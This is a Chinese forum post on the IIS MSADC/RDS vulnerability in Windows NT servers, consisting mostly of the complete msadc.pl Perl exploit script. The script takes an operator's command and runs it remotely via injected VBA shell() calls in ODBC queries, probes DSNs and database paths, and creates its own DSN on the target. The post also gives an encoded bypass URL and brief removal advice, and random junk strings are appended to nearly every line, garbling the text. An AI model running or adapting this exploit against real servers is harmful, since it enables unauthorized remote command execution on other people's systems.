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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) b<8J;u<  
YI(OrR;V  
涉及程序: -r2qIt  
Microsoft NT server cd%g]T)#1  
x`|tT%q@l  
描述: EpS8,[w  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 EA{*%9 A  
0dX=  
详细: 7J_f/st  
如果你没有时间读详细内容的话,就删除: R8W4 4I*R:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |h~/Zz=  
有关的安全问题就没有了。 N)I T?  
9p'J(`  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 oP`M\KXau  
r#Oz0=0u  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 *gpD4c7A\  
关于利用ODBC远程漏洞的描述,请参看: .nY6[2am  
ob5nk ^y  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o)D+qiA3U  
9TN5|x  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /F9lW}pd  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp U4I` xw'  
s=@Ce V@4W  
这里不再论述。 HnY"6gTNK  
"}aM*(l+\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: z7pXpy \  
KcF+!;:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Y_YIJ@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! YqCK#zT/  
xi^e =:;`  
[jn;| 3  
#将下面这段保存为txt文件,然后: "perl -x 文件名" /<pQ!'/G  
Ca"+t lO  
#!perl _Vf|F  
#  wupD   
# MSADC/RDS 'usage' (aka exploit) script IGV.0l  
# O;t?@!_  
# by rain.forest.puppy JJ3JULL2  
# (>`SS#(T!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1)r_h(  
# beta test and find errors! nv Gd:]Z  
zFQkUgb  
use Socket; use Getopt::Std; &nw ~gSe  
getopts("e:vd:h:XR", \%args); TN_$E&69I  
,PxQ[CGg  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -)+DVG.t  
'+tT$k  
if (!defined $args{h} && !defined $args{R}) { %"fKZ  
print qq~ ^{bEq\5&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } xmx;tq  
-h <host> = host you want to scan (ip or domain) -RDs{c`y%N  
-d <seconds> = delay between calls, default 1 second dph6aN(49  
-X = dump Index Server path table, if available ;CBdp-BUj  
-v = verbose rL"k-5>fd  
-e = external dictionary file for step 5 Khd,|pM  
0Ch._~Q+20  
Or a -R will resume a command session shZ<j7gqI  
MX\-)e#  
~; exit;} )KQum`pO  
+N_%|!F-c  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; U# B  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} nQmYeM  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  p ivS8C  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ji=po;g=E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 3s`3}DKK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } XePBA J  
rM |RGe  
if (!defined $args{R}){ $ret = &has_msadc; zSCPp6  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} zxdO3I  
_,~zy9{,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" D*,H%xA  
. "cmd /c "; 0MPDD%TP  
$in=<STDIN>; chomp $in; 3Gv i!h7  
$command="cmd /c " . $in ; "FS.&&1(  
JqZ5DjI:  
if (defined $args{R}) {&load; exit;} r%n[PK^(  
SbivW5|61  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; UC@"<$'C  
&try_btcustmr; gs >cx]>  
;0gpS y$#  
print "\nStep 2: Trying to make our own DSN..."; i-b7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; sA.yb,Fw  
JK`P mp>  
print "\nStep 3: Trying known DSNs..."; &@-glF5  
&known_dsn; ]"6<"1)  
OpQa!  
print "\nStep 4: Trying known .mdbs..."; R&0l4g-4>  
&known_mdb; *Rd&4XG  
5WYU&8+]{:  
if (defined $args{e}){ ,YTIYG](  
print "\nStep 5: Trying dictionary of DSN names..."; d]]qy  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } qQ_QF  
#v-!GK_<  
print "Sorry Charley...maybe next time?\n"; lOui{QU  
exit; !:5n  
b&1@rE-  
############################################################################## rpmDr7G  
e)kf;Hkf  
sub sendraw { # ripped and modded from whisker U<b!$"P9  
sleep($delay); # it's a DoS on the server! At least on mine... =F4}  
my ($pstr)=@_; 0"N %Vm  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || K~]jXo^M  
die("Socket problems\n"); S SXSgp  
if(connect(S,pack "SnA4x8",2,80,$target)){ y(k2p  
select(S); $|=1; &bRH(yF  
print $pstr; my @in=<S>; cx|j _5%i  
select(STDOUT); close(S); XvdhPOMy  
return @in; bBX~ZWw  
} else { die("Can't connect...\n"); }} "^H+A-R[  
&%lhov  
############################################################################## _,^sI%  
$$@Tgkg?o  
sub make_header { # make the HTTP request MYDSkW  
my $msadc=<<EOT [H1NP'Kg]  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 WxFjpJt  
User-Agent: ACTIVEDATA EB#z\  
Host: $ip d,77L  
Content-Length: $clen 9O"?T7i"#  
Connection: Keep-Alive kBzzi^cl  
MD7[}cB  
ADCClientVersion:01.06 IQDWH/ c  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 KJd;c.  
fHigLL0B  
--!ADM!ROX!YOUR!WORLD! { at; U@o  
Content-Type: application/x-varg 9c6=[3)V  
Content-Length: $reqlen eZcm3=WV|  
Vr*t~M>  
EOT _KFKx3<m!  
; $msadc=~s/\n/\r\n/g; F,sT[C  
return $msadc;} `Ao: }  
Xk2  75Y  
############################################################################## k=@Q#=;*[W  
f_7p.H6\  
sub make_req { # make the RDS request Z|W=.RdA;  
my ($switch, $p1, $p2)=@_; Ur`v*LT}~  
my $req=""; my $t1, $t2, $query, $dsn; _5zR!|\^  
EP[ gq  
if ($switch==1){ # this is the btcustmr.mdb query 2C-u2;X2  
$query="Select * from Customers where City=" . make_shell(); =8iM,Vl3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . % ;<FfS  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} d|TIrlA  
:* 'i\  
elsif ($switch==2){ # this is general make table query SBEJ@&iB~  
$query="create table AZZ (B int, C varchar(10))"; 7@sWT<P  
$dsn="$p1";} J.-#:OZ  
gor6c3i  
elsif ($switch==3){ # this is general exploit table query DirWe  
$query="select * from AZZ where C=" . make_shell(); /eI38>v  
$dsn="$p1";} ={fi&j  
;#;X@BhS  
elsif ($switch==4){ # attempt to hork file info from index server p;@PfhEz)  
$query="select path from scope()"; 6+It>mnR  
$dsn="Provider=MSIDXS;";} 8]Pf:_e,+  
#zXDh3%]a  
elsif ($switch==5){ # bad query +q4T];<  
$query="select"; L+,{*Uj[;  
$dsn="$p1";} [J^,_iN[.  
:70oO}0m.  
$t1= make_unicode($query); Xbz}pAnj  
$t2= make_unicode($dsn); ENGw <  
$req = "\x02\x00\x03\x00"; M6e"4Gh  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9orza<#  
$req.= "\x00\x00" . $t1 ; +Kk6|+5u  
$req.= "\x08\x00" . pack ("S1", length($t2)); q%JV"9,  
$req.= "\x00\x00" . $t2 ; Rn}+l[]jC  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; o6qQ zk  
return $req;} $/D@=P kc  
mb&b=&  
############################################################################## "evLI?  
Z?GC+hG`  
sub make_shell { # this makes the shell() statement H[Qh*pq2  
return "'|shell(\"$command\")|'";} 2<y -cQ?>  
z` sH  
############################################################################## , vky  
5B51^"  
sub make_unicode { # quick little function to convert to unicode k<:!^_3H  
my ($in)=@_; my $out; ic3qb<2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } F`-? 3]\3  
return $out;} Pd3t~1TaW  
0]"j,  
############################################################################## 9)=as/o  
@ O%m,  
sub rdo_success { # checks for RDO return success (this is kludge) M5<5 (l  
my (@in) = @_; my $base=content_start(@in); =U^B,q  
if($in[$base]=~/multipart\/mixed/){ onjTuZ^h  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 7ed*dXY*  
return 0;} i1/FNem  
08'JT{iid  
############################################################################## 5Wn6a$^  
p>MX}^6  
sub make_dsn { # this makes a DSN for us ?"L>jr(  
my @drives=("c","d","e","f"); s&c^Wr  
print "\nMaking DSN: "; !1!uB }  
foreach $drive (@drives) { T *$uc,  
print "$drive: "; YN\ QwV  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $CXqkK<6  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" jL 2f74?1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (US8Sc  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #M_QSD}&  
return 0 if $2 eq "404"; # not found/doesn't exist ~ 9'64  
if($2 eq "200") { ;aD_^XY  
foreach $line (@results) { ^goS? p/z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} I{M2nQi  
} return 0;} %.Mtn%:I *  
1Ce:<.99B  
############################################################################## ,,@_r&f:  
hI?<F^b  
sub verify_exists { SH5k^EJ  
my ($page)=@_; BL]^+KnP  
my @results=sendraw("GET $page HTTP/1.0\n\n"); &qo'ge8p  
return $results[0];} Z-:$)0f  
xNjA>S\]W5  
############################################################################## 8^M5u>=t;  
NeNKOW#X  
sub try_btcustmr { y_J{+  
my @drives=("c","d","e","f"); 2Y$==j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \Z)'':},C  
bG\1<:6B  
foreach $dir (@dirs) { $bD!./fl  
print "$dir -> "; # fun status so you can see progress <nIU]}q  
foreach $drive (@drives) { H4%wq  
print "$drive: "; # ditto q.MM|;_u`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J\2F%kBej?  
$reqlenlen=length( "$reqlen" ); Z5NuLB'  
$clen= 206 + $reqlenlen + $reqlen; ujwI4oj"c  
W>+<r9Rt4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); S~m* t i(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 's*UU:R  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ti'OjoJL  
M?]ObIM:5  
############################################################################## 9#_49euy|P  
rvOR[T>  
sub odbc_error { #&DJ3(T  
my (@in)=@_; my $base; j8N8|\n-  
my $base = content_start(@in); 6g$+))g  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this mD|<qsY)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a3p|>M6E  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R$PiF1ffj  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .k[Ptx>  
return $in[$base+4].$in[$base+5].$in[$base+6];} P^&+ehp  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]jM D'vg^b  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . q!Nwf XJM  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} :%s9<g;-h_  
>2N` l  
############################################################################## ujDAs%6MZ  
k9Yr&8B  
sub verbose { W;j*lII  
my ($in)=@_; k%c ?$n"  
return if !$verbose; AvH/Q_-b  
print STDOUT "\n$in\n";} x~KS;hA  
+>/ Q+nh  
############################################################################## MJ>(HJY6?%  
4?8GK  
sub save { UlQ}   
my ($p1, $p2, $p3, $p4)=@_; SkN^ytKE  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \QYs(nm?k  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; K@ W~  
close OUT;} yUBic~S  
im*XS@Uj  
############################################################################## C%G-Ye|@  
d6~wJMFl  
sub load { BXLhi(.s  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7dxY07 yu  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #16)7  
@p=<IN>; close(IN); %K?~$;Z.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5E~][. d  
$target= inet_aton($ip) || die("inet_aton problems"); 6V!yfps)  
print "Resuming to $ip ..."; {:fyz#>>^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; u!;kBs  
if($p[1]==1) { "PnYa)?1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; c1b@3  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; l--xq^,`o]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); +U@P+;  
if (rdo_success(@results)){print "Success!\n";} 4dl?US[-  
else { print "failed\n"; verbose(odbc_error(@results));}} %!LrC!6P4  
elsif ($p[1]==3){ W@/D2K(  
if(run_query("$p[3]")){ wgfn:LR  
print "Success!\n";} else { print "failed\n"; }} >>K) 4HYID  
elsif ($p[1]==4){ |+ @  
if(run_query($drvst . "$p[3]")){ F;`es%8  
print "Success!\n"; } else { print "failed\n"; }} :|P"`j  
exit;} : 8(~{<R  
_d)w, ;m#  
############################################################################## aU5t|S6  
z_r W1?|  
sub create_table { H`B%6S /  
my ($in)=@_; 'U5 E{  
$reqlen=length( make_req(2,$in,"") ) - 28; +qjW;]yxP  
$reqlenlen=length( "$reqlen" ); ,O $F`0>9A  
$clen= 206 + $reqlenlen + $reqlen; m[]p IXc(  
my @results=sendraw(make_header() . make_req(2,$in,"")); T%- F,i  
return 1 if rdo_success(@results); 2>?GD@GE  
my $temp= odbc_error(@results); verbose($temp); 7ugmZO}lL  
return 1 if $temp=~/Table 'AZZ' already exists/; C[<&% =  
return 0;} z{;W$SO 2  
,T"(97"  
############################################################################## 5|Vb)QBv%  
K)@]vw/\  
sub known_dsn { Cg8{NNeD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go V|<qO-#.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", l AE$HP'o  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", d ID] {  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); SAly~(r?/  
_/ P"ulNb  
foreach $dSn (@dsns) { u&r @@p.  
print "."; li,kW`j+t  
next if (!is_access("DSN=$dSn")); }me]?en_Ra  
if(create_table("DSN=$dSn")){ L.ndLd  
print "$dSn successful\n"; oKzV!~{0M;  
if(run_query("DSN=$dSn")){ P@ 1D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { uqX"^dn4u  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9S.R%2xw`  
T JLz^%t  
############################################################################## Wb/@~!+i`  
pl|< g9  
sub is_access { ur9-F^$  
my ($in)=@_; wp.'M?6`L  
$reqlen=length( make_req(5,$in,"") ) - 28; \ 1ys2BX  
$reqlenlen=length( "$reqlen" ); 69O?sIk  
$clen= 206 + $reqlenlen + $reqlen; z8vF QO\I"  
my @results=sendraw(make_header() . make_req(5,$in,"")); lT1*e(I  
my $temp= odbc_error(@results); ax7u b  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  2Np9*[C  
return 0;} T-f+<Cxf  
6Q>:g"_  
############################################################################## 8Bo'0  
t~,!a?S7  
sub run_query { - uliND  
my ($in)=@_; j$N`JiKM  
$reqlen=length( make_req(3,$in,"") ) - 28; ]+d.X]   
$reqlenlen=length( "$reqlen" ); )<-kS  
$clen= 206 + $reqlenlen + $reqlen; /rKrnxw  
my @results=sendraw(make_header() . make_req(3,$in,"")); {lx^57v  
return 1 if rdo_success(@results); gHYYxhW$  
my $temp= odbc_error(@results); verbose($temp); _EjS(.e/=  
return 0;} f^m8 4o'  
YC*S;q  
############################################################################## @iao"&  
X B65,l  
sub known_mdb { 9.SPxd~  
my @drives=("c","d","e","f","g"); U%w ?muJW  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +!.=M8[  
my $dir, $drive, $mdb; jO!!. w  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; &[23DrI8  
.CwMxuW  
# this is sparse, because I don't know of many wR>\5z )^  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;Q? Qwda  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", vseuk@>  
"\\system32\\certmdb.mdb", sE-"TNONZ  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% oNl_r:G  
SijC E~P  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", {9_CH<$W%U  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 6dq5f?w]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", vIz~B2%x  
"\\cfusion\\cfapps\\security\\realm_.mdb", YI&^j2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %J2u+K  
"\\cfusion\\database\\cfexamples.mdb", 9b()ck-\F#  
"\\cfusion\\database\\cfsnippets.mdb", %UgyGQeo  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", g%[lUxL  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,#D &*  
"\\cfusion\\brighttiger\\database\\cleam.mdb", u=RF6V|  
"\\cfusion\\database\\smpolicy.mdb", A!goR-J]  
"\\cfusion\\database\cypress.mdb", '.d el7s  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", =,,!a/U  
"\\website\\cgi-win\\dbsample.mdb", ,%>/8*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", '0/t|V<  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :);GeZ  
); #these are just +<8r?d2  
foreach $drive (@drives) { T4J (8!7  
foreach $dir (@dirs){ [fO \1J  
foreach $mdb (@sysmdbs) { }|AUV  
print "."; a|lcOU  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 80 i<Ij8J  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; vSPkm)O0)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ~qco -b  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R279=sO,J  
} else { print "Something's borked. Use verbose next time\n"; }}}}} O62H4oT  
nwHi3ojD:  
foreach $drive (@drives) { $WrDZU 2z  
foreach $mdb (@mdbs) { f{k2sU*uBE  
print "."; 6\/C]![%  
if(create_table($drv . $drive . $dir . $mdb)){ }\P9$D+  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~.yt  
if(run_query($drv . $drive . $dir . $mdb)){ LF{d'jJ&K  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; YM/GSSq  
} else { print "Something's borked. Use verbose next time\n"; }}}} 7L? ~;;L$  
} e ST8>r  
Ej8EQ% P  
############################################################################## OUS@)Tyh  
;~#rd L  
sub hork_idx { f9X*bEl9;`  
print "\nAttempting to dump Index Server tables...\n"; Z &/b p1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Q V4{=1A  
$reqlen=length( make_req(4,"","") ) - 28; WFsa8qv  
$reqlenlen=length( "$reqlen" ); AEe*A+  
$clen= 206 + $reqlenlen + $reqlen; j<Lj1 P3  
my @results=sendraw2(make_header() . make_req(4,"","")); ~X*)gS-=  
if (rdo_success(@results)){ ]'EtLFv)  
my $max=@results; my $c; my %d; =Y?M#3P.I  
for($c=19; $c<$max; $c++){ s+h`,gg9  
$results[$c]=~s/\x00//g; iRBUX`0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K p ~x  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; q} U^H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; :,]V 03  
$d{"$1$2"}="";} E,>/6AU  
foreach $c (keys %d){ print "$c\n"; } /P Qz$e-!Y  
} else {print "Index server doesn't seem to be installed.\n"; }} - b:&ACY  
8^CL:8lI^\  
############################################################################## GxuFO5wz  
?m}vDd  
sub dsn_dict { 1I<D `H%  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _qR1M):yJ  
while(<IN>){ OjCTTz  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /608P:U  
next if (!is_access("DSN=$dSn")); 5<0&y3  
if(create_table("DSN=$dSn")){ K|[[A)tt6  
print "$dSn successful\n"; BlF>TI%2  
if(run_query("DSN=$dSn")){ ypSW9n  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t,gKN^P_  
print "Something's borked. Use verbose next time\n";}}} T<=Ci?C v  
print "\n"; close(IN);} }S\\"SBC  
3P2H!r  
############################################################################## 7q&Ru|T33  
%AwR4"M  
sub sendraw2 { # ripped and modded from whisker 8 2nQ]  
sleep($delay); # it's a DoS on the server! At least on mine... Y;O\ >o[  
my ($pstr)=@_; &^=6W3RD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <5%x3e"7u  
die("Socket problems\n"); 0 XxU1w8\V  
if(connect(S,pack "SnA4x8",2,80,$target)){ %5?qS`/c(  
print "Connected. Getting data"; "g;^R/sfq  
open(OUT,">raw.out"); my @in; oKLL~X>!U  
select(S); $|=1; print $pstr; \dO9nwa?  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 'H+H4(  
close(OUT); select(STDOUT); close(S); return @in; 3J%(2}{y  
} else { die("Can't connect...\n"); }} ]a F,r"  
Q(=} PF  
############################################################################## `CP# S7W^  
l*V]54|ON3  
sub content_start { # this will take in the server headers ];P$w.0  
my (@in)=@_; my $c; =+HMPV6yg7  
for ($c=1;$c<500;$c++) { :y^0]In  
if($in[$c] =~/^\x0d\x0a/){ SIQ7oxS4  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } BQmHYar  
else { return $c+1; }}} iPgewjx  
return -1;} # it should never get here actually sH(@X<{p  
fG_.&!P  
############################################################################## Sqw:U|h\FS  
pxy=edd  
sub funky { <mN.6@*{  
my (@in)=@_; my $error=odbc_error(@in); +0) s {?  
if($error=~/ADO could not find the specified provider/){ /D2 cY>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; jYE<d&Cq  
exit;} b|F4E{{D^  
if($error=~/A Handler is required/){ [*^` rQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4&]Sb}  
exit;} l-4+{6lz  
if($error=~/specified Handler has denied Access/){ ,tqMMBwC~_  
print "\nServer has custom handler filters (they most likely are patched)\n"; wtlIyE  
exit;}} >.'rN>B+  
av|r^zc  
############################################################################## R{={7.As+  
_gDEIoBp  
sub has_msadc { MtWzGE=?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); B. '&[A  
my $base=content_start(@results); 3jH-!M5  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); j8gw]V/B:  
return 0;} b7;`A~{9v  
N1dv}!/*.+  
######################## /~=W3lhY  
 M18<d1*  
dZ]['y%  
解决方案: IXQxjqd^  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;.dyuKlI  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 J*I G]2'H  
Z@i"/~B|4\  
拿出来充数 哈哈
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